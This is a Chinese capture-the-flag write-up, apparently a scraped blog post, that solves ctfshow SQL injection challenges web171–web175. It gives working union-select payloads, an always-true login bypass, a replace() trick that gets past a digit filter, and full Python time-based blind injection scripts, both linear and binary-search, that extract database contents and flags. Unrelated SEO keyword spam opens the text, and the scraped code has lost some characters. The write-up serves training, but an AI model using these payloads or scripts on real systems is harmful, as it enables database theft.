什么是手机网站,潍坊哪个网站公司做优化好,天津网站优化公司哪家专业,网站低保图用什么做目录 1、web171
2、web172
3、web173
4、web174
5、web175 1、web171 单引号测一下#xff0c;报错 -- 闭合后回显正常 也可以用 # #xff0c;不过需要 URL 编码 成功闭合之后#xff0c;先判断下字段数#xff1a;
1 order by 3--
3 的时候正常 4 的时候报错报错 -- 闭合后回显正常 也可以用 # 不过需要 URL 编码 成功闭合之后先判断下字段数
1 order by 3--
3 的时候正常 4 的时候报错说明只有 3 列 测了一下三个回显位都能正常回显
0 union select 1,2,3-- 先查一下基本信息
0 union select database(),user(),version()--
当前数据库名为 ctfshow_web 这里说明一下因为 mysql 5.0 及其以上的都会自带一个叫 information_schema 的数据库相当于是一个已知的数据库并且该数据库下储存了所有数据库的所以信息。
查该数据库下的所有表
0 union select group_concat(table_name),2,3 from information_schema.tables where table_schemactfshow_web--
其中 2 和 3 只是占位符 可以看到存在一个名为 ctfshow_user 的表我们继续查该表下的列名
0 union select group_concat(column_name),2,3 from information_schema.columns where table_schemactfshow_weband table_namectfshow_user-- 没看到 flag 这种关键字因此我们 id,username,password 都查一下
0 union select id,username,password from ctfshow_web.ctfshow_user-- 最终在 id 为 26 的 password 里找到 flagctfshow{64dd0daa-4600-4813-8ef2-cffa99a6f05f}
当然这种没有绕过的给到 sqlmap 就直接一把嗦了这里简便的方法也可以采用万能密码
1or 1 -- 2、web172 在无过滤注入 1 里面用万能密码未找到 flag 试一下注入 2 的经过测试这里的回显位只有两个 数据库都懒得查了用 database() 代替直接查表
0 union select group_concat(table_name),2 from information_schema.tables where table_schemadatabase()-- 新增了一个 ctfshow_user2 的表查一下该表下面内容注意这里有一个检查要求 username 的内容不能是 flag才能正常查询成功那么我们就不查 username 查 id 和 password 就行了 0 union select id,password from ctfshow_user2-- 当然也可以只查 password
0 union select 1,password from ctfshow_user2--
拿到 flagctfshow{97bd5892-2617-417a-8c2e-16134f741704}
如果查询内容有 username因为 username 里包含了 flag因此无法正常回显 flag 的内容 3、web173 判断一下这次又是三个字段数了根据前面的规律这次的表名应该是ctfshow_web.ctfshow_user3因为还是对输出过滤了 flag所有我们还是不查用户名用占位符占位即可。 payload
只查 password
0 union select 1,2,password from ctfshow_web.ctfshow_user3-- 查 id 与 password
0 union select id,2,password from ctfshow_web.ctfshow_user3-- 拿到 flagctfshow{eff707be-5727-412e-93be-2c75e5783fa5} 4、web174
还没查就报错了 这里有点问题手动改一下请求文件为select-no-waf-4.php 可以发现这里查询结果的输出不能出现数字 查询语句的内容也不能出现数字 可以查到数据库名ctfshow_web 因为数据库名里没有数字 但是查表名就不行了根据前面规律表名应该为 ctfshow_user4包含了数字所以结果出不来不能直接查。
0 union select group_concat(table_name),a from information_schema.tables where table_schemadatabase()-- 对输出结果进行替换后再输出将数字都替换成字母payload
0 union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),1,A),2,B),3,C),4,D),5,E),6,F),7,G),8,H),9,I),0,J),a from information_schema.tables where table_schemadatabase()--
查询结果为ctfshow_userD
D 对应的是 4 因此表名为ctfshow_user4 查询 password
0 union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,A),2,B),3,C),4,D),5,E),6,F),7,G),8,H),9,I),0,J),a from ctfshow_user4-- 得到ctfshow{eIdGcBcc-cACA-DEIF-aGcB-aAJGdJddGBCe}
最后将查询结果的数字替换回去也可以用 replace 函数反过来即可。
这里用 python 实现
def rev_replace(txt):repl {A: 1,B: 2,C: 3,D: 4,E: 5,F: 6,G: 7,H: 8,I: 9,J: 0}for k, v in repl.items():txt txt.replace(k, v)return txttxt input(输入)
out rev_replace(txt)
print(替换后: , out)拿到 flagctfshow{e9d7c2cc-c131-4596-a7c2-a107d0dd723e} 5、web175
正常的查 1 都没有回显 if(!preg_match(/[\x00-\x7f]/i, json_encode($ret))){$ret[msg]查询成功;}
正则匹配过滤掉的是所有 ASCII 字符从 \x00 到 \x7f也就是从 0 到 127 的所有字符包括控制字符、数字、字母和符号。
因此这里采用时间盲注先测试一下
1 and sleep(5)--
观察页面确实存在延时 我个人比较菜然后一直都是脚本小子这次自己来写一下希望能更好的理解下时间盲注。
首先看了下它这里除了查询的 id还有另外的两个参数这个我们在写脚本时也需要加进去并且注意到它调用的接口其实是 /api 下的 v5.php而不是 select-no-waf-5.php 这个文件哦。 接下来我们先判断下它数据库名的长度这个其实可以通过 burpsuite 的攻击模块爆破的没关系我们这里手写一遍也锻炼下我们 python 的能力。
关于 burpsuite 用来爆破这种时间盲注以及一些原理可以参考我之前的博客
关于SQL时间盲注基于sleep函数的手动测试、burpsuite爆破、sqlmap全自动化注入_sql 语句 and sleep-CSDN博客https://blog.csdn.net/Myon5/article/details/135241105?ops_request_misc%257B%2522request%255Fid%2522%253A%2522172242605416800175758093%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257Drequest_id172242605416800175758093biz_id0utm_mediumdistribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-2-135241105-null-null.nonecaseutm_term%E6%97%B6%E9%97%B4%E7%9B%B2%E6%B3%A8spm1018.2226.3001.4450payload
1 and if(length(database())11,sleep(3),0) --
import requestsurl http://e03daa7b-66ad-48fb-8349-da520b7f5fe8.challenge.ctf.show/api/v5.php
i 0
for i in range(1, 15):payload fid1 and if(length(database()){i},sleep(3),0) --page1limit10# print(payload)re requests.get(url, paramspayload)time re.elapsed.total_seconds()print(f{i}:{time})# print(re.url) 可以看到当数据库名长度为 11 时响应存在延时这与我们前面得到的数据库名为ctfshow_web长度就是 11符合。
下面使用两个 for 循环遍历数据库名从第一个字符猜到第 11 个字符字符的可能性这里字典设置的是小写字母加数字加下划线
import requests
import stringurl http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php
dic string.ascii_lowercase string.digits _
out
for j in range(1, 12):for k in dic:payload fid1 and if(substr(database(),{j},1){k},sleep(3),0) --page1limit10# print(payload)re requests.get(url, paramspayload)time re.elapsed.total_seconds()# print(f{j}:{time})if time 2:print(k) out k #响应延时则将猜测的字符添加到结果里break #跳出内层的for循环继续遍历下一位
print(out) 跑完得到数据库名为ctfshow_web
接下来我们继续猜表名这里就不先判断表名的长度了设置范围大一点以确保完整输出数据使用标志位来判断是否到了最后一位
import requests
import stringurl http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php
dic string.ascii_lowercase string.digits _
out
for j in range(1, 30):a 1 #设置一个标志位用来判断是否已经猜到了最后一位for k in dic:# payload fid1 and if(substr(database(),{j},1){k},sleep(3),0) --page1limit10payload fid1 and if(substr((select table_name from information_schema.tables where table_schemactfshow_web limit 0, 1), {j}, 1) {k},sleep(3),0) --page1limit10# print(payload)re requests.get(url, paramspayload)time re.elapsed.total_seconds()# print(f{j}:{time})if time 2:print(k)a 0 #如果找到字符则将标志位置0out kbreak #跳出内层的for循环继续遍历下一位if a 1: #在进行下一次循环前先判断当前字符是否找到break #若没有找到则跳出外层循环表示我们已经到了最后一个字符
print(out) 得到表名为ctfshow_user5
我们可以通过调整 limit 的参数来获取到其他的表名有时候也可以使用 group_concat 函数。
payload fid1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schemactfshow_web), {j}, 1) {k},sleep(3),0) --page1limit10
在 SQL 中LIMIT 子句用于指定查询结果中返回的行数用法
LIMIT offset, count
offset 是要跳过的行数offset 从 0 开始计数count 是要返回的行数。
比如
LIMIT 0, 1
从查询结果的第 0 行即第一行开始返回 1 行结果即返回了查询结果的第一行。
LIMIT 1, 1
从查询结果的第 1 行即第二行开始返回 1 行结果即返回了查询结果的第二行。
这里尝试找第二行发现一会代码就结束了说明这里只有一个表 接下来查列名
payload fid1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schemactfshow_weband table_namectfshow_user5), {j}, 1) {k},sleep(3),0) --page1limit10
这里只出了一个 id因为换行导致我们误判为到了最后一个字符因为我们的字典里只包括数字、小写字母和下划线因此字符没找到便跳出外层循环结束了代码。 注释掉最后两句判断结束的语句即可输出完整结果 也可以通过 limit 来指定查询第三行的内容
payload fid1 and if(substr((select column_name from information_schema.columns where table_schemactfshow_weband table_namectfshow_user5 limit 2, 1), {j}, 1) {k},sleep(3),0) --page1limit10 因为我编程能力确实很差所以这个代码还是存在很多问题的需要继续改进和完善。
由于前面的题目我们知道 flag 在 password 字段里那么我们就查它
由于 flag 不在第一行因此我们再细化查询的条件即 usernameflag
payload fid1 and if(substr((select password from ctfshow_web.ctfshow_user5 where usernameflag), {j}, 1) {k},sleep(3),0) --page1limit10
因为 flag 内容还包括了大括号和减号为了避免提早结束我们拓展下字典
dic string.ascii_lowercase string.digits _-{}
结果的长度也得扩展
for j in range(1, 100):
最终的脚本
import requests
import stringurl http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php
dic string.ascii_lowercase string.digits _-{}
out
for j in range(1, 100):a 1 #设置一个标志位用来判断是否已经猜到了最后一位for k in dic:# payload fid1 and if(substr(database(),{j},1){k},sleep(3),0) --page1limit10 # 猜数据库名# payload fid1 and if(substr((select table_name from information_schema.tables where table_schemactfshow_web limit 0, 1), {j}, 1) {k},sleep(3),0) --page1limit10 #猜表名# payload fid1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schemactfshow_web), {j}, 1) {k},sleep(3),0) --page1limit10 #猜表名# payload fid1 and if(substr((select column_name from information_schema.columns where table_schemactfshow_weband table_namectfshow_user5 limit 2, 1), {j}, 1) {k},sleep(3),0) --page1limit10 # 猜列名payload fid1 and if(substr((select password from ctfshow_web.ctfshow_user5 where usernameflag), {j}, 1) {k},sleep(3),0) --page1limit10 # 猜具体字段# print(payload)re requests.get(url, paramspayload)time re.elapsed.total_seconds()# print(f{j}:{time})if time 2:print(k)a 0 #如果找到字符则将标志位置0out kbreak #跳出内层的for循环继续遍历下一位if a 1: #在进行下一次循环前先判断当前字符是否找到break #若没有找到则跳出外层循环表示我们已经到了最后一个字符
print(out) 拿到 flagctfshow{d6c5132a-3611-4cd3-a840-37e6a68ac6dd}
同理当我们注释掉最后两行判断结束的代码并使用 group_concat就算不追加 usernameflag 的条件也是可以查到 flag 的不过这个时间就比较久了因为我们查的是所有的数据
payload fid1 and if(substr((select group_concat(password) from ctfshow_web.ctfshow_user5), {j}, 1) {k},sleep(3),0) --page1limit10 大致就这样吧不敢相信我竟然自己写了个盲注的脚本还加了那么多注释和个人理解我知道我的代码写得不好因为还在慢慢学习嘛对于时间盲注其实更高效的查询方法是二分法查询这次我主要是练习下自己动手写代码的能力如果你也是不会写代码认真看完相信你也能收获些东西的最后附上二分法查找的代码和注释写的不好互相学习吧
import requestsurl http://de93f700-084d-447e-a783-efdbd7efc984.challenge.ctf.show/api/v5.php
out
for i in range(1, 100):left, right 32, 128 # 设置ASCII值的搜索范围mid (left right) // 2 # 计算中间值while left right:# 这里用ascii函数来获取当前字符的ASCII值与中间值进行比较注意这条语句是sql中的用法在python里获取ascii值是用ord函数payload fid1 and if(ascii(substr((select group_concat(password) from ctfshow_web.ctfshow_user5 where usernameflag), {i}, 1)) {mid},sleep(3),0) --page1limit10re requests.get(url, paramspayload)time re.elapsed.total_seconds()if time 2: # 存在延时,说明当前字符的ascii值大于我们的中间值left mid 1 # 调整查找的范围既然大于那说明ascii值是在中间值的右边将中间值加1else: # 不存在延时说明当前字符的ascii值小于中间值在左边right mid # 左边起始位置不变将右边的查找范围调整为中间值mid (left right) // 2 # 无论查询字符在左边还是右边中间值都等于更新后的rightleft再整除2之后继续执行while循环直到找到目标字符的ascii值leftright退出while循环print(mid) out chr(mid)print(out)看完感觉有收获的可以给我个赞或者关注吗哈哈哈感谢支持我们下篇博客再见。